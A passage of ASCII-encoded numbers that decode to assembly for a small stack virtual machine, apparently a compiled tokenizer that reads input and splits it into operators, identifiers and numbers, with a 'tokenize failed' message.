5,56,10,109,111,118,32,98,112,91,50,93,32,48,10,106,122,32,48,32,55,56,10,97,100,100,32,98,112,91,49,48,93,32,98,112,91,49,93,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,48,93,10,106,122,32,48,32,53,52,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,49,10,109,111,118,32,98,112,91,49,93,32,48,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,51,93,32,98,112,91,49,93,32,98,112,91,50,93,10,106,122,32,98,112,91,51,93,32,49,49,52,10,103,101,116,32,98,112,91,52,93,32,98,112,91,45,52,93,32,98,112,91,49,93,10,103,101,116,32,98,112,91,53,93,32,98,112,91,52,93,32,48,10,101,113,32,98,112,91,54,93,32,98,112,91,53,93,32,98,112,91,45,51,93,10,106,122,32,98,112,91,54,93,32,49,49,49,10,103,101,116,32,98,112,91,55,93,32,98,112,91,45,52,93,32,98,112,91,49,93,10,103,101,116,32,98,112,91,56,93,32,98,112,91,55,93,32,49,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,56,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,49,49,10,97,100,100,32,98,112,91,57,93,32,98,112,91,49,93,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,57,93,10,106,122,32,48,32,57,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,93,32,91,93,10,112,117,115,104,32,98,112,91,49,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,49,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,53,10,109,111,118,32,98,112,91,49,93,32,48,10,109,111,118,32,98,112,91,50,93,32,49,10,109,111,118,32,98,112,91,51,93,32,48,10,103,101,116,32,98,112,91,52,93,32,98,112,91,45,51,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,53,93,32,91,52,53,93,10,101,113,32,98,112,91,54,93,32,98,112,91,52,93,32,98,112,91,53,93,10,106,122,32,98,112,91,54,93,32,49,51,56,10,115,117,98,32,98,112,91,55,93,32,48,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,55,93,10,109,111,118,32,98,112,91,51,93,32,49,10,106,122,32,48,32,49,51,56,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,57,93,32,98,112,91,51,93,32,98,112,91,56,93,10,106,122,32,98,112,91,57,93,32,49,53,51,10,109,117,108,32,98,112,91,49,48,93,32,98,112,91,49,93,32,49,48,10,103,101,116,32,98,112,91,49,49,93,32,98,112,91,45,51,93,32,98,112,91,51,93,10,97,100,100,32,98,112,91,49,50,93,32,98,112,91,49,48,93,32,98,112,91,49,49,93,10,115,117,98,32,98,112,91,49,51,93,32,98,112,91,49,50,93,32,52,56,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,51,93,10,97,100,100,32,98,112,91,49,52,93,32,98,112,91,51,93,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,49,52,93,10,106,122,32,48,32,49,51,56,10,109,117,108,32,98,112,91,49,53,93,32,98,112,91,49,93,32,98,112,91,50,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,53,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,54,10,109,97,107,101,108,105,115,116,32,98,112,91,51,93,32,91,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,51,93,10,108,116,32,98,112,91,52,93,32,98,112,91,45,51,93,32,48,10,106,122,32,98,112,91,52,93,32,49,55,52,10,109,97,107,101,108,105,115,116,32,98,112,91,53,93,32,91,52,53,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,53,93,10,115,117,98,32,98,112,91,54,93,32,48,32,98,112,91,45,51,93,10,109,111,118,32,98,112,91,45,51,93,32,98,112,91,54,93,10,106,122,32,48,32,49,55,52,10,101,113,32,98,112,91,55,93,32,98,112,91,45,51,93,32,48,10,106,122,32,98,112,91,55,93,32,49,56,50,10,109,97,107,101,108,105,115,116,32,98,112,91,56,93,32,91,52,56,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,56,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,48,50,10,109,97,107,101,108,105,115,116,32,98,112,91,57,93,32,91,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,57,93,10,108,116,32,98,112,91,49,48,93,32,48,32,98,112,91,45,51,93,10,106,122,32,98,112,91,49,48,93,32,49,57,54,10,100,105,118,32,98,112,91,49,49,93,32,98,112,91,45,51,93,32,49,48,10,109,117,108,32,98,112,91,49,49,93,32,98,112,91,49,49,93,32,49,48,10,115,117,98,32,98,112,91,49,49,93,32,98,112,91,45,51,93,32,98,112,91,49,49,93,10,97,100,100,32,98,112,91,49,50,93,32,52,56,32,98,112,91,49,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,93,32,91,98,112,91,49,50,93,93,10,97,100,100,32,98,112,91,49,52,93,32,98,112,91,49,51,93,32,98,112,91,50,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,52,93,10,100,105,118,32,98,112,91,49,53,93,32,98,112,91,45,51,93,32,49,48,10,109,111,118,32,98,112,91,45,51,93,32,98,112,91,49,53,93,10,106,122,32,48,32,49,56,52,10,97,100,100,32,98,112,91,49,54,93,32,98,112,91,49,93,32,98,112,91,50,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,54,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,54,10,108,116,32,98,112,91,49,93,32,98,112,91,45,51,93,32,52,56,10,101,113,32,98,112,91,49,93,32,48,32,98,112,91,49,93,10,108,116,32,98,112,91,50,93,32,53,55,32,98,112,91,45,51,93,10,101,113,32,98,112,91,50,93,32,48,32,98,112,91,50,93,10,109,117,108,32,98,112,91,51,93,32,98,112,91,49,93,32,98,112,91,50,93,10,101,113,32,98,112,91,51,93,32,98,112,91,51,93,32,48,10,101,113,32,98,112,91,51,93,32,98,112,91,51,93,32,48,10,108,116,32,98,112,91,52,93,32,98,112,91,45,51,93,32,54,53,10,101,113,32,98,112,91,52,93,32,48,32,98,112,91,52,93,10,108,116,32,98,112,91,53,93,32,57,48,32,98,112,91,45,51,93,10,101,113,32,98,112,91,53,93,32,48,32,98,112,91,53,93,10,109,117,108,32,98,112,91,54,93,32,98,112,91,52,93,32,98,112,91,53,93,10,101,113,32,98,112,91,54,93,32,98,112,91,54,93,32,48,10,101,113,32,98,112,91,54,93,32,98,112,91,54,93,32,48,10,101,113,32,98,112,91,55,93,32,98,112,91,51,93,32,48,10,101,113,32,98,112,91,56,93,32,98,112,91,54,93,32,48,10,109,117,108,32,98,112,91,55,93,32,98,112,91,55,93,32,98,112,91,56,93,10,101,113,32,98,112,91,55,93,32,98,112,91,55,93,32,48,10,108,116,32,98,112,91,57,93,32,98,112,91,45,51,93,32,57,55,10,101,113,32,98,112,91,57,93,32,48,32,98,112,91,57,93,10,108,116,32,98,112,91,49,48,93,32,49,50,50,32,98,112,91,45,51,93,10,101,113,32,98,112,91,49,48,93,32,48,32,98,112,91,49,48,93,10,109,117,108,32,98,112,91,49,49,93,32,98,112,91,57,93,32,98,112,91,49,48,93,10,101,113,32,98,112,91,49,49,93,32,98,112,91,49,49,93,32,48,10,101,113,32,98,112,91,49,49,93,32,98,112,91,49,49,93,32,48,10,101,113,32,98,112,91,49,50,93,32,98,112,91,55,93,32,48,10,101,113,32,98,112,91,49,51,93,32,98,112,91,49,49,93,32,48,10,109,117,108,32,98,112,91,49,50,93,32,98,112,91,49,50,93,32,98,112,91,49,51,93,10,101,113,32,98,112,91,49,50,93,32,98,112,91,49,50,93,32,48,10,101,113,32,98,112,91,49,52,93,32,98,112,91,45,51,93,32,57,53,10,101,113,32,98,112,91,49,53,93,32,98,112,91,49,50,93,32,48,10,101,113,32,98,112,91,49,54,93,32,98,112,91,49,52,93,32,48,10,109,117,108,32,98,112,91,49,53,93,32,98,112,91,49,53,93,32,98,112,91,49,54,93,10,101,113,32,98,112,91,49,53,93,32,98,112,91,49,53,93,32,48,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,53,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,51,10,108,116,32,98,112,91,49,93,32,98,112,91,45,51,93,32,52,56,10,101,113,32,98,112,91,49,93,32,48,32,98,112,91,49,93,10,108,116,32,98,112,91,50,93,32,53,55,32,98,112,91,45,51,93,10,101,113,32,98,112,91,50,93,32,48,32,98,112,91,50,93,10,109,117,108,32,98,112,91,51,93,32,98,112,91,49,93,32,98,112,91,50,93,10,101,113,32,98,112,91,51,93,32,98,112,91,51,93,32,48,10,101,113,32,98,112,91,51,93,32,98,112,91,51,93,32,48,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,51,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,55,10,109,111,118,32,98,112,91,49,93,32,48,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,51,93,32,98,112,91,49,93,32,98,112,91,50,93,10,106,122,32,98,112,91,51,93,32,50,57,54,10,103,101,116,32,98,112,91,53,93,32,98,112,91,45,51,93,32,98,112,91,49,93,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,53,49,10,112,111,112,32,98,112,91,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,101,113,32,98,112,91,54,93,32,98,112,91,52,93,32,48,10,106,122,32,98,112,91,54,93,32,50,57,51,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,57,51,10,97,100,100,32,98,112,91,55,93,32,98,112,91,49,93,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,55,93,10,106,122,32,48,32,50,55,51,10,109,111,118,32,98,112,91,45,50,93,32,49,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,49,53,10,109,97,107,101,108,105,115,116,32,98,112,91,49,50,93,32,91,52,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,51,93,32,91,52,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,93,32,91,52,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,93,32,91,52,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,54,93,32,91,51,55,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,93,32,91,52,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,93,32,91,52,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,93,32,91,52,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,48,93,32,91,49,50,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,49,93,32,91,49,50,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,93,32,91,53,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,57,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,52,93,32,91,57,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,93,32,91,54,49,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,54,93,32,91,51,51,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,93,32,91,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,93,32,91,54,48,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,57,93,32,91,54,50,44,54,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,48,93,32,91,54,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,93,32,91,54,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,50,93,32,91,49,50,52,44,49,50,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,51,93,32,91,51,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,52,93,32,91,51,56,44,51,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,93,32,91,52,55,44,52,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,54,93,32,91,98,112,91,49,50,93,44,98,112,91,49,51,93,44,98,112,91,49,52,93,44,98,112,91,49,53,93,44,98,112,91,49,54,93,44,98,112,91,49,55,93,44,98,112,91,49,56,93,44,98,112,91,49,57,93,44,98,112,91,50,48,93,44,98,112,91,50,49,93,44,98,112,91,50,50,93,44,98,112,91,50,51,93,44,98,112,91,50,52,93,44,98,112,91,50,53,93,44,98,112,91,50,54,93,44,98,112,91,50,55,93,44,98,112,91,50,56,93,44,98,112,91,50,57,93,44,98,112,91,51,48,93,44,98,112,91,51,49,93,44,98,112,91,51,50,93,44,98,112,91,51,51,93,44,98,112,91,51,52,93,44,98,112,91,51,53,93,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,51,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,55,93,32,91,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,51,55,93,10,109,111,118,32,98,112,91,51,93,32,49,10,115,117,98,32,98,112,91,51,56,93,32,48,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,51,56,93,10,106,122,32,98,112,91,51,93,32,53,54,55,10,108,116,32,98,112,91,51,57,93,32,98,112,91,52,93,32,48,10,106,122,32,98,112,91,51,57,93,32,51,52,55,10,112,117,115,104,32,48,10,114,101,97,100,10,112,111,112,32,98,112,91,52,48,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,52,48,93,10,106,122,32,48,32,51,53,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,52,93,10,115,117,98,32,98,112,91,52,49,93,32,48,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,52,49,93,10,101,113,32,98,112,91,52,50,93,32,98,112,91,53,93,32,50,53,53,10,106,122,32,98,112,91,52,50,93,32,51,53,52,10,109,111,118,32,98,112,91,51,93,32,48,10,106,122,32,48,32,53,54,54,10,101,113,32,98,112,91,52,51,93,32,98,112,91,53,93,32,57,10,101,113,32,98,112,91,52,52,93,32,98,112,91,53,93,32,49,48,10,101,113,32,98,112,91,52,53,93,32,98,112,91,52,51,93,32,48,10,101,113,32,98,112,91,52,54,93,32,98,112,91,52,52,93,32,48,10,109,117,108,32,98,112,91,52,53,93,32,98,112,91,52,53,93,32,98,112,91,52,54,93,10,101,113,32,98,112,91,52,53,93,32,98,112,91,52,53,93,32,48,10,101,113,32,98,112,91,52,55,93,32,98,112,91,53,93,32,51,50,10,101,113,32,98,112,91,52,56,93,32,98,112,91,52,53,93,32,48,10,101,113,32,98,112,91,52,57,93,32,98,112,91,52,55,93,32,48,10,109,117,108,32,98,112,91,52,56,93,32,98,112,91,52,56,93,32,98,112,91,52,57,93,10,101,113,32,98,112,91,52,56,93,32,98,112,91,52,56,93,32,48,10,101,113,32,98,112,91,53,48,93,32,98,112,91,53,93,32,49,51,10,101,113,32,98,112,91,53,49,93,32,98,112,91,52,56,93,32,48,10,101,113,32,98,112,91,53,50,93,32,98,112,91,53,48,93,32,48,10,109,117,108,32,98,112,91,53,49,93,32,98,112,91,53,49,93,32,98,112,91,53,50,93,10,101,113,32,98,112,91,53,49,93,32,98,112,91,53,49,93,32,48,10,101,113,32,98,112,91,53,51,93,32,98,112,91,53,93,32,49,49,10,101,113,32,98,112,91,53,52,93,32,98,112,91,53,49,93,32,48,10,101,113,32,98,112,91,53,53,93,32,98,112,91,53,51,93,32,48,10,109,117,108,32,98,112,91,53,52,93,32,98,112,91,53,52,93,32,98,112,91,53,53,93,10,101,113,32,98,112,91,53,52,93,32,98,112,91,53,52,93,32,48,10,101,113,32,98,112,91,53,54,93,32,98,112,91,53,93,32,49,50,10,101,113,32,98,112,91,53,55,93,32,98,112,91,53,52,93,32,48,10,101,113,32,98,112,91,53,56,93,32,98,112,91,53,54,93,32,48,10,109,117,108,32,98,112,91,53,55,93,32,98,112,91,53,55,93,32,98,112,91,53,56,93,10,101,113,32,98,112,91,53,55,93,32,98,112,91,53,55,93,32,48,10,106,122,32,98,112,91,53,55,93,32,51,56,50,10,106,122,32,48,32,53,54,54,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,53,49,10,112,111,112,32,98,112,91,53,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,98,112,91,53,57,93,32,52,49,53,10,109,97,107,101,108,105,115,116,32,98,112,91,54,48,93,32,91,98,112,91,53,93,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,54,48,93,10,109,111,118,32,98,112,91,55,93,32,49,10,106,122,32,98,112,91,55,93,32,52,49,49,10,112,117,115,104,32,48,10,114,101,97,100,10,112,111,112,32,98,112,91,54,49,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,54,49,93,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,53,49,10,112,111,112,32,98,112,91,54,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,101,113,32,98,112,91,54,51,93,32,98,112,91,54,50,93,32,48,10,106,122,32,98,112,91,54,51,93,32,52,48,55,10,109,111,118,32,98,112,91,52,93,32,98,112,91,53,93,10,109,111,118,32,98,112,91,55,93,32,48,10,106,122,32,48,32,52,49,48,10,109,97,107,101,108,105,115,116,32,98,112,91,54,52,93,32,91,98,112,91,53,93,93,10,97,100,100,32,98,112,91,54,53,93,32,98,112,91,54,93,32,98,112,91,54,52,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,54,53,93,10,106,122,32,48,32,51,57,49,10,109,97,107,101,108,105,115,116,32,98,112,91,54,54,93,32,91,98,112,91,54,93,93,10,97,100,100,32,98,112,91,54,55,93,32,98,112,91,50,93,32,98,112,91,54,54,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,54,55,93,10,106,122,32,48,32,53,54,54,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,48,54,10,112,111,112,32,98,112,91,54,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,98,112,91,54,56,93,32,52,52,56,10,109,97,107,101,108,105,115,116,32,98,112,91,54,57,93,32,91,98,112,91,53,93,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,54,57,93,10,109,111,118,32,98,112,91,55,93,32,49,10,106,122,32,98,112,91,55,93,32,52,52,52,10,112,117,115,104,32,48,10,114,101,97,100,10,112,111,112,32,98,112,91,55,48,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,55,48,93,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,50,48,54,10,112,111,112,32,98,112,91,55,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,101,113,32,98,112,91,55,50,93,32,98,112,91,55,49,93,32,48,10,106,122,32,98,112,91,55,50,93,32,52,52,48,10,109,111,118,32,98,112,91,52,93,32,98,112,91,53,93,10,109,111,118,32,98,112,91,55,93,32,48,10,106,122,32,48,32,52,52,51,10,109,97,107,101,108,105,115,116,32,98,112,91,55,51,93,32,91,98,112,91,53,93,93,10,97,100,100,32,98,112,91,55,52,93,32,98,112,91,54,93,32,98,112,91,55,51,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,55,52,93,10,106,122,32,48,32,52,50,52,10,109,97,107,101,108,105,115,116,32,98,112,91,55,53,93,32,91,98,112,91,54,93,93,10,97,100,100,32,98,112,91,55,54,93,32,98,112,91,50,93,32,98,112,91,55,53,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,55,54,93,10,106,122,32,48,32,53,54,54,10,101,113,32,98,112,91,55,55,93,32,98,112,91,53,93,32,51,52,10,106,122,32,98,112,91,55,55,93,32,52,55,49,10,109,97,107,101,108,105,115,116,32,98,112,91,55,56,93,32,91,98,112,91,53,93,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,55,56,93,10,109,111,118,32,98,112,91,55,93,32,49,10,106,122,32,98,112,91,55,93,32,52,54,55,10,112,117,115,104,32,48,10,114,101,97,100,10,112,111,112,32,98,112,91,55,57,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,55,57,93,10,101,113,32,98,112,91,56,48,93,32,98,112,91,53,93,32,51,52,10,106,122,32,98,112,91,56,48,93,32,52,54,51,10,109,111,118,32,98,112,91,55,93,32,48,10,106,122,32,48,32,52,54,51,10,109,97,107,101,108,105,115,116,32,98,112,91,56,49,93,32,91,98,112,91,53,93,93,10,97,100,100,32,98,112,91,56,50,93,32,98,112,91,54,93,32,98,112,91,56,49,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,56,50,93,10,106,122,32,48,32,52,53,51,10,109,97,107,101,108,105,115,116,32,98,112,91,56,51,93,32,91,98,112,91,54,93,93,10,97,100,100,32,98,112,91,56,52,93,32,98,112,91,50,93,32,98,112,91,56,51,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,56,52,93,10,106,122,32,48,32,53,54,54,10,109,97,107,101,108,105,115,116,32,98,112,91,56,53,93,32,91,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,56,53,93,10,109,111,118,32,98,112,91,56,93,32,49,10,106,122,32,98,112,91,56,93,32,53,49,49,10,109,111,118,32,98,112,91,56,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,56,54,93,32,91,98,112,91,53,93,93,10,97,100,100,32,98,112,91,56,55,93,32,98,112,91,54,93,32,98,112,91,56,54,93,10,109,111,118,32,98,112,91,57,93,32,98,112,91,56,55,93,10,109,111,118,32,98,112,91,49,48,93,32,48,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,56,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,56,57,93,32,98,112,91,49,48,93,32,98,112,91,56,56,93,10,106,122,32,98,112,91,56,57,93,32,53,48,48,10,112,117,115,104,32,98,112,91,57,93,10,103,101,116,32,98,112,91,57,49,93,32,98,112,91,49,93,32,98,112,91,49,48,93,10,112,117,115,104,32,98,112,91,57,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,52,57,10,112,111,112,32,98,112,91,57,48,93,10,115,117,98,32,115,112,32,115,112,32,50,10,106,122,32,98,112,91,57,48,93,32,52,57,55,10,109,111,118,32,98,112,91,56,93,32,49,10,106,122,32,48,32,52,57,55,10,97,100,100,32,98,112,91,57,50,93,32,98,112,91,49,48,93,32,49,10,109,111,118,32,98,112,91,49,48,93,32,98,112,91,57,50,93,10,106,122,32,48,32,52,56,48,10,106,122,32,98,112,91,56,93,32,53,49,48,10,109,97,107,101,108,105,115,116,32,98,112,91,57,51,93,32,91,98,112,91,53,93,93,10,97,100,100,32,98,112,91,57,52,93,32,98,112,91,54,93,32,98,112,91,57,51,93,10,109,111,118,32,98,112,91,54,93,32,98,112,91,57,52,93,10,112,117,115,104,32,48,10,114,101,97,100,10,112,111,112,32,98,112,91,57,53,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,57,53,93,10,106,122,32,48,32,53,49,48,10,106,122,32,48,32,52,55,52,10,109,111,118,32,98,112,91,56,93,32,48,10,109,111,118,32,98,112,91,49,48,93,32,48,10,112,117,115,104,32,98,112,91,49,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,57,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,57,55,93,32,98,112,91,49,48,93,32,98,112,91,57,54,93,10,106,122,32,98,112,91,57,55,93,32,53,51,48,10,103,101,116,32,98,112,91,57,56,93,32,98,112,91,49,93,32,98,112,91,49,48,93,10,101,113,32,98,112,91,57,57,93,32,98,112,91,54,93,32,98,112,91,57,56,93,10,101,113,32,98,112,91,49,48,48,93,32,98,112,91,56,93,32,48,10,101,113,32,98,112,91,49,48,49,93,32,98,112,91,57,57,93,32,48,10,109,117,108,32,98,112,91,49,48,48,93,32,98,112,91,49,48,48,93,32,98,112,91,49,48,49,93,10,101,113,32,98,112,91,49,48,48,93,32,98,112,91,49,48,48,93,32,48,10,109,111,118,32,98,112,91,56,93,32,98,112,91,49,48,48,93,10,97,100,100,32,98,112,91,49,48,50,93,32,98,112,91,49,48,93,32,49,10,109,111,118,32,98,112,91,49,48,93,32,98,112,91,49,48,50,93,10,106,122,32,48,32,53,49,51,10,101,113,32,98,112,91,49,48,51,93,32,98,112,91,56,93,32,48,10,106,122,32,98,112,91,49,48,51,93,32,53,52,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,53,93,32,91,49,49,54,44,49,49,49,44,49,48,55,44,49,48,49,44,49,49,48,44,49,48,53,44,49,50,50,44,49,48,49,44,51,50,44,49,48,50,44,57,55,44,49,48,53,44,49,48,56,44,49,48,49,44,49,48,48,44,51,50,93,10,97,100,100,32,98,112,91,49,48,54,93,32,98,112,91,49,48,53,93,32,98,112,91,54,93,10,112,117,115,104,32,98,112,91,49,48,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,51,10,112,111,112,32,98,112,91,49,48,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,53,52,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,55,93,32,91,52,55,44,52,50,93,10,101,113,32,98,112,91,49,48,56,93,32,98,112,91,54,93,32,98,112,91,49,48,55,93,10,106,122,32,98,112,91,49,48,56,93,32,53,54,50,10,109,111,118,32,98,112,91,49,49,93,32,98,112,91,53,93,10,109,111,118,32,98,112,91,55,93,32,49,10,106,122,32,98,112,91,55,93,32,53,54,49,10,112,117,115,104,32,48,10,114,101,97,100,10,112,111,112,32,98,112,91,49,48,57,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,49,48,57,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,48,93,32,91,98,112,91,49,49,93,44,98,112,91,53,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,49,93,32,91,52,50,44,52,55,93,10,101,113,32,98,112,91,49,49,50,93,32,98,112,91,49,49,48,93,32,98,112,91,49,49,49,93,10,106,122,32,98,112,91,49,49,50,93,32,53,53,55,10,109,111,118,32,98,112,91,55,93,32,48,10,106,122,32,48,32,53,53,55,10,109,111,118,32,98,112,91,49,49,93,32,98,112,91,53,93,10,115,117,98,32,98,112,91,49,49,51,93,32,48,32,49,10,109,111,118,32,98,112,91,52,93,32,98,112,91,49,49,51,93,10,106,122,32,48,32,53,52,53,10,106,122,32,48,32,53,54,54,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,52,93,32,91,98,112,91,54,93,93,10,97,100,100,32,98,112,91,49,49,53,93,32,98,112,91,50,93,32,98,112,91,49,49,52,93,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,49,53,93,10,109,111,118,32,98,112,91,52,93,32,98,112,91,53,93,10,106,122,32,48,32,51,51,56,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,